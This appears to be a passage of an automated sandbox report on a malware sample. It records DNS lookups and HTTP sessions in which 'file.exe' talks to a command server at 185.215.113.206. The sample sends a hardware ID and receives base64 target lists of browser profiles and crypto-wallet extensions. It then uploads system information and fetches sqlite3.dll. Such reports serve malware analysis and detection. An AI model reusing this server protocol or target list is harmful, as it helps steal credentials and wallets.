Oct 31, 2024 01:18:40.286518097 CET	1.1.1.1	192.168.2.5	0xc090	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:41.562577009 CET	1.1.1.1	192.168.2.5	0x2ff2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:41.562577009 CET	1.1.1.1	192.168.2.5	0x2ff2	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.750008106 CET	1.1.1.1	192.168.2.5	0xf5a9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.750008106 CET	1.1.1.1	192.168.2.5	0xf5a9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.750039101 CET	1.1.1.1	192.168.2.5	0xe999	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 31, 2024 01:18:41.750868082 CET	1.1.1.1	192.168.2.5	0x28a8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.750868082 CET	1.1.1.1	192.168.2.5	0x28a8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.751679897 CET	1.1.1.1	192.168.2.5	0xe394	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 31, 2024 01:18:41.762780905 CET	1.1.1.1	192.168.2.5	0x6b51	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.762780905 CET	1.1.1.1	192.168.2.5	0x6b51	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.763596058 CET	1.1.1.1	192.168.2.5	0x8fba	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 31, 2024 01:18:42.575345993 CET	1.1.1.1	192.168.2.5	0x6244	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:42.575345993 CET	1.1.1.1	192.168.2.5	0x6244	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2232	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:18:15.942605019 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:18:16.838795900 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:16.844890118 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 33 43 31 44 33 36 32 45 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="hwid"343C1D362E012263180025------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build"tale------AECAKECAEGDHIECBGHII--
Oct 31, 2024 01:18:17.135546923 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 63 34 5a 6a 52 6c 4e 47 4e 6b 4f 57 55 78 4f 57 52 6c 59 6a 41 30 59 32 45 35 59 6a 6b 33 4f 54 55 30 59 7a 45 7a 4e 44 59 34 59 6a 45 35 4f 54 42 6b 4d 6a 46 6b 4e 32 59 32 4e 32 49 77 4d 44 68 6d 59 32 45 30 4d 6a 51 30 5a 44 41 33 4f 54 6b 77 4f 44 68 6a 5a 47 55 31 59 6a 4a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTc4ZjRlNGNkOWUxOWRlYjA0Y2E5Yjk3OTU0YzEzNDY4YjE5OTBkMjFkN2Y2N2IwMDhmY2E0MjQ0ZDA3OTkwODhjZGU1YjJlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 01:18:17.136957884 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"browsers------JEGHDAFIDGDAAKEBFHDA--
Oct 31, 2024 01:18:17.419353008 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 01:18:17.419368029 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 31, 2024 01:18:17.439186096 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="message"plugins------AAEGHJKJKKJDHIDHJKJD--
Oct 31, 2024 01:18:17.716568947 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 01:18:17.716579914 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 31, 2024 01:18:17.716586113 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 31, 2024 01:18:17.716593981 CET	12	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 Data Ascii: dHxka2RlZGxw
Oct 31, 2024 01:18:17.716597080 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 31, 2024 01:18:17.716628075 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 31, 2024 01:18:17.716639996 CET	424	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 31, 2024 01:18:17.717179060 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Oct 31, 2024 01:18:17.717375040 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Oct 31, 2024 01:18:17.727786064 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="message"fplugins------FHJKKECFIECAKECAFBGC--
Oct 31, 2024 01:18:18.004842997 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 01:18:18.022772074 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFI Host: 185.215.113.206 Content-Length: 6683 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:18:18.022833109 CET	6683	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 01:18:18.819603920 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:19.106592894 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
